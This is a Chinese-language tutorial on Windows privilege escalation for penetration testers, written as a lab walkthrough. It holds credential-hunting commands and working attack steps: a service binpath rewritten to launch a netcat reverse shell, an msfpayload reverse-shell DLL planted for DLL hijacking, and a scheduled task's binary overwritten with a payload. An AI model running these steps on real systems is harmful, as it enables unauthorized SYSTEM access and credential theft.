天天看點

「白帽黑客成長記」Windows提權基本原理(下)

i春秋今日分享白帽子必備知識點,深入學習Windows提權基本原理内容,希望通過該篇文章的講解,大家能夠快速get新技能!

上一篇文章我們介紹了資訊收集方法和WMIC,今天我們将跟随作者深入學習Windows提權基本原理的内容,希望通過這兩篇文章的講解,大家能夠真正掌握這個技能。

推薦閱讀:「白帽黑客成長記」Windows提權基本原理(上)

注:文章篇幅較長,閱讀用時約10分鐘。

在t5-t6階段,快速攻陷

在繼續滲透之前,你需要先回顧一下已經搜集到的資訊,資訊量應該已經不小了。我們計劃的下一步就是要尋找一些能被輕易利用的系統缺陷來提升權限。

顯而易見,第一步就是去檢視更新檔修正情況。如果發現主機已經被打了某些更新檔,也不用很擔心。我的WMIC腳本可以列出所有已安裝的更新檔,你可以通過下面這條指令來檢視:

C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn
Caption Description HotFixID InstalledOn
http://support.microsoft.com/?kbid=2727528 Security Update KB2727528 11/23/2013
http://support.microsoft.com/?kbid=2729462 Security Update KB2729462 11/26/2013
http://support.microsoft.com/?kbid=2736693 Security Update KB2736693 11/26/2013
http://support.microsoft.com/?kbid=2737084 Security Update KB2737084 11/23/2013
http://support.microsoft.com/?kbid=2742614 Security Update KB2742614 11/23/2013
http://support.microsoft.com/?kbid=2742616 Security Update KB2742616 11/26/2013
http://support.microsoft.com/?kbid=2750149 Update KB2750149 11/23/2013
http://support.microsoft.com/?kbid=2756872 Update KB2756872 11/24/2013
http://support.microsoft.com/?kbid=2756923 Security Update KB2756923 11/26/2013
http://support.microsoft.com/?kbid=2757638 Security Update KB2757638 11/23/2013
http://support.microsoft.com/?kbid=2758246 Update KB2758246 11/24/2013
http://support.microsoft.com/?kbid=2761094 Update KB2761094 11/24/2013
http://support.microsoft.com/?kbid=2764870 Update KB2764870 11/24/2013
http://support.microsoft.com/?kbid=2768703 Update KB2768703 11/23/2013
http://support.microsoft.com/?kbid=2769034 Update KB2769034 11/23/2013
http://support.microsoft.com/?kbid=2769165 Update KB2769165 11/23/2013
http://support.microsoft.com/?kbid=2769166 Update KB2769166 11/26/2013
http://support.microsoft.com/?kbid=2770660 Security Update KB2770660 11/23/2013
http://support.microsoft.com/?kbid=2770917 Update KB2770917 11/24/2013
http://support.microsoft.com/?kbid=2771821 Update KB2771821 11/24/2013
[..Snip..]
           

但這些輸出并不代表一定可以被利用,最好的政策先是去尋找可以提升權限的EXP以及它們的更新檔編号。這些EXP包括但不限于:KiTrap0D (KB979682), MS11-011 (KB2393802), MS10-059 (KB982799), MS10-021 (KB979683), MS11-080 (KB2592799)。

在列舉了系統版本和更新檔包後,你應該發現哪些權限提升漏洞可以被複現,使用更新檔包編号你可以過濾掉那些已經被安裝的更新檔,檢查一下是否有被漏打的更新檔。

以下是對更新檔包進行過濾的文法:

C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.."
           

接下來我們将會有很多新發現。一般情況下,如果需要給很多機器配置同一個環境,一個技術人員一定不會逐個安裝配置這些機器,而是會選擇一些自動化安裝的解決方案。

這些方案是什麼以及它們是如何工作的與我們當下所做的事情關聯度不大,重要的是他們留下的用于安裝流程的配置檔案,這些配置檔案包含大量的敏感資訊,例如作業系統的産品密鑰和管理者密碼。而我們最最感興趣的就是管理者密碼,因為我們可以借此來提權。

以下是一些經常被用于存放配置檔案的位置(當然檢查整個系統也是可以的)

c:\sysprep.inf
c:\sysprep\sysprep.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml
           

這些目錄中的檔案可能包含着明文密碼,或是Base64加密後的密碼。下面是一些檔案中的樣例:

# This is a sample from sysprep.inf with clear-text credentials.
[GuiUnattended]
OEMSkipRegional=1
OemSkipWelcome=1
AdminPassword=s3cr3tp4ssw0rd
TimeZone=20
# This is a sample from sysprep.xml with Base64 "encoded" credentials. Please people Base64 is not encryption, I take more precautions to protect my coffee. The password here is "SuperSecurePassword".
<LocalAccounts>
 <LocalAccount wcm:action="add">
 <Password>
 <Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value>
 <PlainText>false</PlainText>
 </Password>
 <Description>Local Administrator</Description>
 <DisplayName>Administrator</DisplayName>
 <Group>Administrators</Group>
 <Name>Administrator</Name>
 </LocalAccount>
</LocalAccounts>
# Sample from Unattended.xml with the same "secure" Base64 encoding.
<AutoLogon>
 <Password>
 <Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value>
 <PlainText>false</PlainText>
 </Password>
 <Enabled>true</Enabled>
 <Username>Administrator</Username>
</AutoLogon>
           

在Ben Campbell (@Meatballs__)的推薦下,我将擷取組政策首選項 ( Group Policy Preferences ) 儲存的密碼也作為快速攻陷目标機器的方式之一。組政策首選項檔案可以被用于去建立域内主機的本地使用者。如果你控制的機器被連接配接到一個域内,那麼去查找一下存儲在 SYSVOL 中的 Groups.xml 檔案也是很有意義的,而且所有被授權的使用者都有該檔案的讀權限。

在這個 xml 檔案中的密碼隻是被臨時使用者“模糊”地用AES加密了,說“模糊”是因為靜态密鑰已經被公開的公布于msdn網站上,是以可以輕松地破解這些密碼。

除了Groups.xml還有幾個其他的政策首選項檔案也同樣含有可選的“cPassword”屬性:

Services\Services.xml: Element-Specific Attributes
ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element
Printers\Printers.xml: SharedPrinter Element
Drives\Drives.xml: Element-Specific Attributes
DataSources\DataSources.xml: Element-Specific Attributes
           

這個漏洞可以通過手動浏覽SYSVOL檔案夾和抓取相關檔案來利用,證明如下:

然而,我們都希望有一個自動化的解決方案,這樣我們就可以盡可能快的完成這項工作。這裡主要有兩種方式,取決于我們的shell類型以及權限大小:

  • 一個是通過已建立的會話執行 metasploit 子產品;
  • 你可以使用PowerSploit的Get-GPPPassword功能。PowerSploit 是一個強大的powershell架構,作者是Matt Graeber(擅長逆向工程、計算機驗證以及滲透測試)。

接下來我們要查找一個奇怪的系統資料庫設定項“AlwaysInstallElevated”,如果該設定項被啟用,它會允許任何權限的使用者以NT AUTHORITY\SYSTEM權限來安裝*.msi檔案。

可以建立低權限的使用者(它們的作業系統使用受到限制)但是卻給它們SYSTEM權限去安裝軟體,這在我看來是有些奇怪。想要閱讀更多的這方面的背景知識,可以檢視這裡 ,這是在GreyHatHacker部落格上Parvez的一篇文章,他最早報告了這個安全問題。

為了能利用這個漏洞,我們需要去檢查兩個系統資料庫鍵值是否被設定,這是我們是否能彈出SYSTEM權限shell的關鍵。以下是查詢對應系統資料庫鍵值的文法:

# 隻有當系統資料庫項中存在鍵值 "AlwaysInstallElevated" 且其 DWORD 值為1時才會有效
C:\Windows\system32> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
C:\Windows\system32> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
           

為了完成這個章節,我們還将在作業系統上做一些快速搜尋,希望我們可以成功。

執行以下語句完成搜尋:

# The command below will search the file system for file names containing certain keywords. You canspecify as many keywords as you wish.
# 這條語句可以搜尋指定含有任意多關鍵字的檔案名
C:\Windows\system32> dir /s *pass* == *cred* == *vnc* == *.config*
# Search certain file types for a keyword, this can generate a lot of output.
# 用關鍵詞搜尋精确的檔案類型,這個操作可能造成大量的輸出
C:\Windows\system32> findstr /si password *.xml *.ini *.txt
# Similarly the two commands below can be used to grep the registry for keywords, in this case "password".
# 以下兩個指令被用于查找帶有關鍵詞的系統資料庫項,樣例中查詢的關鍵詞是 "password"
C:\Windows\system32> reg query HKLM /f password /t REG_SZ /s
C:\Windows\system32> reg query HKCU /f password /t REG_SZ /s
           

在t7-t10階段,耐心踏實和努力

希望到現在為止,我們已經有了一個SYSTEM shell,但如果我們還沒有,接下來還有一些方法可以嘗試。在最後章節我們将會關注于Windows服務和檔案/目錄權限部分。我們的目标是去使用低權限去提升目前會話權限。

我們将會檢查很多通路權限,是以我們應該抓取一份微軟Sysinternals套件中accesschk.exe工具的副本。微軟Sysinternals套件包含了許多強大的工具,但微軟并沒有把它們加入标準版的Windows。你可以從微軟technet網站下載下傳該套件。

我們将會先從Windows開啟的服務來尋找線索,因為那裡可以發現很多快速制勝的方法。通常來說,現代作業系統不會包含存在漏洞的服務。在這種情況下,漏洞指的是我們可以重新配置的服務參數。Windows服務有點像應用程式的快捷鍵,下面是一個例子:

# We can use sc to query, configure and manage windows services.
# 我們可以使用 sc 去查詢、配置、管理 Windows 服務
C:\Windows\system32> sc qc Spooler
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: Spooler
 TYPE : 110 WIN32_OWN_PROCESS (interactive)
 START_TYPE : 2 AUTO_START
 ERROR_CONTROL : 1 NORMAL
 BINARY_PATH_NAME : C:\Windows\System32\spoolsv.exe
 LOAD_ORDER_GROUP : SpoolerGroup
 TAG : 0
 DISPLAY_NAME : Print Spooler
 DEPENDENCIES : RPCSS
 : http
 SERVICE_START_NAME : LocalSystem
           

我們可以使用accesschk檢查每一個服務的權限。

# We can see the permissions that each user level has, you can also use "accesschk.exe -ucqv *" to list all services.
C:\> accesschk.exe -ucqv Spooler
Spooler
 R NT AUTHORITY\Authenticated Users
 SERVICE_QUERY_STATUS
 SERVICE_QUERY_CONFIG
 SERVICE_INTERROGATE
 SERVICE_ENUMERATE_DEPENDENTS
 SERVICE_USER_DEFINED_CONTROL
 READ_CONTROL
 R BUILTIN\Power Users
 SERVICE_QUERY_STATUS
 SERVICE_QUERY_CONFIG
 SERVICE_INTERROGATE
 SERVICE_ENUMERATE_DEPENDENTS
 SERVICE_START
 SERVICE_USER_DEFINED_CONTROL
 READ_CONTROL
 RW BUILTIN\Administrators
 SERVICE_ALL_ACCESS
 RW NT AUTHORITY\SYSTEM
 SERVICE_ALL_ACCESS
           

Accesschk可以自動化的檢測我們是否擁有一個Windows服務的寫入通路權限。作為一個低權限使用者,我們通常希望檢查結果為“Authenticated Users”。一定要去檢查你的使用者屬于哪個使用者組,舉個例子,“Power Users”被認為是一個低權限使用者組(盡管它沒有被廣泛使用)。

一起來比較一下在Windows 8和Windows XP SP0上輸出的不同:

# This is on Windows 8.
C:\Users\b33f\tools\Sysinternals> accesschk.exe -uwcqv "Authenticated Users" *
No matching objects found.
# On a default Windows XP SP0 we can see there is a pretty big security fail.
C:\> accesschk.exe -uwcqv "Authenticated Users" *
RW SSDPSRV
 SERVICE_ALL_ACCESS
RW upnphost
 SERVICE_ALL_ACCESS
C:\> accesschk.exe -ucqv SSDPSRV
SSDPSRV
 RW NT AUTHORITY\SYSTEM
 SERVICE_ALL_ACCESS
 RW BUILTIN\Administrators
 SERVICE_ALL_ACCESS
 RW NT AUTHORITY\Authenticated Users
 SERVICE_ALL_ACCESS
 RW BUILTIN\Power Users
 SERVICE_ALL_ACCESS
 RW NT AUTHORITY\LOCAL SERVICE
 SERVICE_ALL_ACCESS
C:\> accesschk.exe -ucqv upnphost
upnphost
 RW NT AUTHORITY\SYSTEM
 SERVICE_ALL_ACCESS
 RW BUILTIN\Administrators
 SERVICE_ALL_ACCESS
 RW NT AUTHORITY\Authenticated Users
 SERVICE_ALL_ACCESS
 RW BUILTIN\Power Users
 SERVICE_ALL_ACCESS
 RW NT AUTHORITY\LOCAL SERVICE
 SERVICE_ALL_ACCESS
           

這個問題在之後的XP SP2版本中得到了解決,然而在SP0和SP1它可以被用作一個通用的本地提權漏洞。通過重新配置該服務,我們可以讓它以SYSTEM權限運作任何我們指定的二進制檔案。

讓我們來看看怎麼實踐操作,在這個例子裡該服務将會執行netcat并且可以反彈一個SYSTEM權限的shell。其它的操作方法當然也是可能存在的。

C:\> sc qc upnphost
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: upnphost
 TYPE : 20 WIN32_SHARE_PROCESS
 START_TYPE : 3 DEMAND_START
 ERROR_CONTROL : 1 NORMAL
 BINARY_PATH_NAME : C:\WINDOWS\System32\svchost.exe -k LocalService
 LOAD_ORDER_GROUP :
 TAG : 0
 DISPLAY_NAME : Universal Plug and Play Device Host
 DEPENDENCIES : SSDPSRV
 SERVICE_START_NAME : NT AUTHORITY\LocalService
C:\> sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
[SC] ChangeServiceConfig SUCCESS
C:\> sc config upnphost obj= ".\LocalSystem" password= ""
[SC] ChangeServiceConfig SUCCESS
C:\> sc qc upnphost
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: upnphost
 TYPE : 20 WIN32_SHARE_PROCESS
 START_TYPE : 3 DEMAND_START
 ERROR_CONTROL : 1 NORMAL
 BINARY_PATH_NAME : C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe
 LOAD_ORDER_GROUP :
 TAG : 0
 DISPLAY_NAME : Universal Plug and Play Device Host
 DEPENDENCIES : SSDPSRV
 SERVICE_START_NAME : LocalSystem
C:\> net start upnphost
           

即使服務是不正确配置的,我們大多時候也不能擷取該服務完整的控制權限。下圖是從Brett Moore’s在Windows提權方面的滲透測試,圖中的任一權限都可以給我們一個SYSTEM shell。

重要的是去記住我們搞定的session是屬于哪個使用者組的,正如先前提到的“Power Users”被視為是一個低權限使用者組。但“Power Users”也有一些屬于他們自己的配置漏洞,Mark Russinovich已經在這個問題上寫了非常有趣的文章。

“Power Users”的力量 ( Mark Russinovich )

最後,我們将會檢查檔案/目錄的權限,如果我們不能直接攻擊計算機系統,我們就讓計算機做所有的繁重工作。由于這方面涉及内容太多,是以我将介紹兩種提權漏洞給你,并展示如何去利用它們。一旦你掌握了通用的思路,你将能夠在其它場景下應用這些技術。

作為第一個示例,我們将複現GreyHatHacker上Parvez的一篇文章中的方法。“利用低檔案夾權限提權”,這是一個很棒的提權思路,我非常推薦大家去閱讀。

這個示例是DLL劫持中的一個特例。程式通常不能通過它們自身實作功能,它們需要挂載許多自身所需的資源(大多是DLL但也有某些特有檔案)。如果一個程式或服務從一個我們擁有寫權限的目錄中裝載了檔案,那我們就可以借此彈出一個與之相同權限的shell。

通常一個Windows應用程式将會使用一個預定義的搜尋路徑去尋找DLL元件,而且它會以特定的順序檢查這些路徑。DLL劫持經常是将一個惡意的DLL置于某一搜尋路徑中,并確定惡意DLL會在合法的DLL之前被找到。

以下是在32位作業系統下DLL查找的順序:

  • The directory from which the application loaded
  • 32-bit System directory
  • (C:\Windows\System32)
  • 16-bit System directory
  • (C:\Windows\System)
  • Windows directory (C:\Windows)
  • The current working directory (CWD)
  • Directories in the PATH environment variable (system then user)

有時應用程式想要加載的DLL可能不在主機上,引起該問題的原因有很多,比如當DLL檔案隻存在于某個未安裝的插件或者計算機特性(feature)時。在這種情況下,Parvez發現某些Windows服務會去試圖加載預設安裝中不存在的 DLL。

但由于問題中的DLL不存在,是以我們将周遊所有路徑。作為一個低權限的使用者,也許我們可以去放置一個惡意DLL在上述路徑中的1-4中。而路徑5是行不通的,因為我們正在研究的是Windows服務,我們并沒有所有目錄的寫權限。

讓我們來看一下如何進行實戰,在本例中,我們将會利用需要加載wlbsctrl.dll的IKEEXT (IKE and AuthIP IPsec Keying Modules) 服務:

# This is on Windows 7 as low privilege user1.
C:\Users\user1\Desktop> echo %username%
user1
# We have a win here since any non-default directory in "C:\" will give write access to authenticated users.
C:\Users\user1\Desktop> echo %path%
C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;
C:\Program Files\OpenVPN\bin;C:\Python27
# We can check our access permissions with accesschk or cacls.
C:\Users\user1\Desktop> accesschk.exe -dqv "C:\Python27"
C:\Python27
 Medium Mandatory Level (Default) [No-Write-Up]
 RW BUILTIN\Administrators
 FILE_ALL_ACCESS
 RW NT AUTHORITY\SYSTEM
 FILE_ALL_ACCESS
 R BUILTIN\Users
 FILE_LIST_DIRECTORY
 FILE_READ_ATTRIBUTES
 FILE_READ_EA
 FILE_TRAVERSE
 SYNCHRONIZE
 READ_CONTROL
 RW NT AUTHORITY\Authenticated Users
 FILE_ADD_FILE
 FILE_ADD_SUBDIRECTORY
 FILE_LIST_DIRECTORY
 FILE_READ_ATTRIBUTES
 FILE_READ_EA
 FILE_TRAVERSE
 FILE_WRITE_ATTRIBUTES
 FILE_WRITE_EA
 DELETE
 SYNCHRONIZE
 READ_CONTROL
C:\Users\user1\Desktop> cacls "C:\Python27"
C:\Python27 BUILTIN\Administrators:(ID)F
 BUILTIN\Administrators:(OI)(CI)(IO)(ID)F
 NT AUTHORITY\SYSTEM:(ID)F
 NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
 BUILTIN\Users:(OI)(CI)(ID)R
 NT AUTHORITY\Authenticated Users:(ID)C
 NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
# Before we go over to action we need to check the status of the IKEEXT service. In this case we can see it is set to "AUTO_START" so it will launch on boot!
C:\Users\user1\Desktop> sc qc IKEEXT
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: IKEEXT
 TYPE : 20 WIN32_SHARE_PROCESS
 START_TYPE : 2 AUTO_START
 ERROR_CONTROL : 1 NORMAL
 BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k netsvcs
 LOAD_ORDER_GROUP :
 TAG : 0
 DISPLAY_NAME : IKE and AuthIP IPsec Keying Modules
 DEPENDENCIES : BFE
 SERVICE_START_NAME : LocalSystem
           

現在必要的條件都已經滿足了,我們可以生成一個惡意的DLL并彈出一個shell:

root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O
 Name: Windows Command Shell, Reverse TCP Inline
 Module: payload/windows/shell_reverse_tcp
 Platform: Windows
 Arch: x86
Needs Admin: No
 Total size: 314
 Rank: Normal
Provided by:
 vlad902 <[email protected]>
 sf <[email protected]>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 127.0.0.1 yes The listen address
LPORT 9988 yes The listen port
Description:
 Connect back to attacker and spawn a command shell
root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' D > 
/root/Desktop/evil.dll
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_reverse_tcp
 Length: 314
Options: {"lhost"=>"127.0.0.1", "lport"=>"9988"}
           

在将惡意DLL傳送到靶機之後,我們需要将它重命名為wlbsctrl.dll并将它移動到“C:\Python27”路徑下。完成後,我們隻需要耐心等待機器被重新開機(或者我們可以嘗試強制重新開機),之後我們就可以得到一個SYSTEM shell。

# Again, this is as low privilege user1.
C:\Users\user1\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is 948D-A98F
 Directory of C:\Users\user1\Desktop
02/18/2014 01:49 PM <DIR> .
02/18/2014 01:49 PM <DIR> ..
04/22/2013 09:39 AM 331,888 accesschk.exe
02/18/2014 12:38 PM 14,336 evil.dll
01/25/2014 12:46 AM 36,864 fubar.exe
01/22/2014 08:17 AM <DIR> incognito2
06/30/2011 01:52 PM 1,667,584 ncat.exe
11/22/2013 07:39 PM 1,225 wmic_info.bat
 5 File(s) 2,051,897 bytes
 3 Dir(s) 73,052,160 bytes free
C:\Users\user1\Desktop> copy evil.dll C:\Python27\wlbsctrl.dll
 1 file(s) copied.
C:\Users\user1\Desktop> dir C:\Python27
 Volume in drive C has no label.
 Volume Serial Number is 948D-A98F
 Directory of C:\Python27
02/18/2014 01:53 PM <DIR> .
02/18/2014 01:53 PM <DIR> ..
10/20/2012 02:52 AM <DIR> DLLs
10/20/2012 02:52 AM <DIR> Doc
10/20/2012 02:52 AM <DIR> include
01/28/2014 03:45 AM <DIR> Lib
10/20/2012 02:52 AM <DIR> libs
04/10/2012 11:34 PM 40,092 LICENSE.txt
04/10/2012 11:18 PM 310,875 NEWS.txt
04/10/2012 11:31 PM 26,624 python.exe
04/10/2012 11:31 PM 27,136 pythonw.exe
04/10/2012 11:18 PM 54,973 README.txt
10/20/2012 02:52 AM <DIR> tcl
10/20/2012 02:52 AM <DIR> Tools
04/10/2012 11:31 PM 49,664 w9xpopen.exe
02/18/2014 12:38 PM 14,336 wlbsctrl.dll
 7 File(s) 523,700 bytes
 9 Dir(s) 73,035,776 bytes free
           

萬事俱備,我們隻需要等待機器重新開機。出于示範目的,我在下面截圖中是使用管理者指令手動重新開機該服務。

對于我們最後的例子,我們将關注于計劃任務。回顧我們之前搜集到的資訊,我們有以下條目:

HostName: B33F
TaskName: \LogGrabberTFTP
Next Run Time: 2/19/2014 9:00:00 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: N/A
Last Result: 1
Author: B33F\b33f
Task To Run: E:\GrabLogs\tftp.exe 10.1.1.99 GET log.out E:\GrabLogs\Logs\log.txt
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Enabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Daily
Start Time: 9:00:00 AM
Start Date: 2/17/2014
End Date: N/A
Days: Every 1 day(s)
Months: N/A
Repeat: Every: Disabled
Repeat: Until: Time: Disabled
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
           

這看起來像有一個TFTP用戶端連接配接到遠端主機去搜集某些log檔案。我們可以看到這個任務每日早9點以SYSTEM權限運作,再看看我們是否有這個檔案夾的寫入權限:

C:\Users\user1\Desktop> accesschk.exe -dqv "E:\GrabLogs"
E:\GrabLogs
 Medium Mandatory Level (Default) [No-Write-Up]
 RW BUILTIN\Administrators
 FILE_ALL_ACCESS
 RW NT AUTHORITY\SYSTEM
 FILE_ALL_ACCESS
 RW NT AUTHORITY\Authenticated Users
 FILE_ADD_FILE
 FILE_ADD_SUBDIRECTORY
 FILE_LIST_DIRECTORY
 FILE_READ_ATTRIBUTES
 FILE_READ_EA
 FILE_TRAVERSE
 FILE_WRITE_ATTRIBUTES
 FILE_WRITE_EA
 DELETE
 SYNCHRONIZE
 READ_CONTROL
 R BUILTIN\Users
 FILE_LIST_DIRECTORY
 FILE_READ_ATTRIBUTES
 FILE_READ_EA
 FILE_TRAVERSE
 SYNCHRONIZE
 READ_CONTROL
C:\Users\user1\Desktop> dir "E:\GrabLogs"
 Volume in drive E is More
 Volume Serial Number is FD53-2F00
 Directory of E:\GrabLogs
02/18/2014 11:34 PM <DIR> .
02/18/2014 11:34 PM <DIR> ..
02/18/2014 11:34 PM <DIR> Logs
02/18/2014 09:21 PM 180,736 tftp.exe
 1 File(s) 180,736 bytes
 3 Dir(s) 5,454,602,240 bytes free
           

顯然這是一個嚴重的配置問題,這個計劃任務根本不需要以SYSTEM權限執行,但更糟糕的是任何授權的使用者都有該目錄的寫權限。

理想情況下,對于一次滲透測試我會抓取一個TFTP用戶端在裡面放一個後門,確定它仍然正常工作,再将其放回靶機。然而出于示範目的,我們可以簡單的通過metasploit生成一個二進制檔案然後直接覆寫它。

root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O
 Name: Windows Command Shell, Reverse TCP Inline
 Module: payload/windows/shell_reverse_tcp
 Platform: Windows
 Arch: x86
Needs Admin: No
 Total size: 314
 Rank: Normal
Provided by:
 vlad902 <[email protected]>
 sf <[email protected]>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 127.0.0.1 yes The listen address
LPORT 9988 yes The listen port
Description:
 Connect back to attacker and spawn a command shell
root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' R | msfencode -t
exe > /root/Desktop/evil-tftp.exe x86/shikata_ga_nai succeeded with size 341 (iteration=1)
           

現在工作隻剩下上傳我們的惡意可執行檔案并覆寫掉“E:\GrabLogs\tftp.exe”檔案。一旦上傳成功,我們就可以去休息了,等到明早睡醒就可以得到我們的shell 。

對了,别忘記去檢查我們靶機的時間/時區。

C:\Users\user1\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is 948D-A98F
 Directory of C:\Users\user1\Desktop
02/19/2014 01:36 AM <DIR> .
02/19/2014 01:36 AM <DIR> ..
04/22/2013 09:39 AM 331,888 accesschk.exe
02/19/2014 01:31 AM 73,802 evil-tftp.exe
01/25/2014 12:46 AM 36,864 fubar.exe
01/22/2014 08:17 AM <DIR> incognito2
06/30/2011 01:52 PM 1,667,584 ncat.exe
02/18/2014 12:38 PM 14,336 wlbsctrl.dll
11/22/2013 07:39 PM 1,225 wmic_info.bat
 6 File(s) 2,125,699 bytes
 3 Dir(s) 75,341,824 bytes free
C:\Users\user1\Desktop> copy evil-tftp.exe E:\GrabLogs\tftp.exe
Overwrite E:\GrabLogs\tftp.exe? (Yes/No/All): Yes
 1 file(s) copied.
           

為了證明這次提權,我調快了系統時間。從以下截圖中可以看到,在9點時我們得到了SYSTEM shell。

在思考擷取檔案/檔案夾權限時,這兩個示例應該會給你一些尋找漏洞的思路。真正的實戰中你可能需要花時間去檢查所有的Windows服務、計劃任務和開機任務的binpaths。

我們已經知道了accesschk是一種測試工具。在文章結束之前,我會再給你一些使用accesschk的技巧:

# 當使用者第一次使用任何一個 sysinternals 工具包的工具時,使用者都會看到一個選擇是否接受EULA的彈出視窗,這顯然是一個大問題,但我們可以添加一個額外的參數來自動接受EULA
accesschk.exe /accepteula ... ... ...
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
           

最後的想法

本指南旨在成為Windows特權更新的“基礎”。如果你想真正掌握這個主題,你需要投入大量的工作和研究。就像所有的滲透測試一樣,舉一反三是關鍵,你對目标的了解越多,擷取資訊的途徑越多,成功的幾率就越大。

還要記住,有時你可能會将你的權限提升到管理者。從管理者到系統的提權是一個無關緊要的問題,你可以始終重新配置一個服務,或者建立一個具有系統級别特權的排程任務。

現在就去實踐,然後得到SYSTEM!

以上是Windows提權基本原理的全部内容,大家看懂了嗎?

繼續閱讀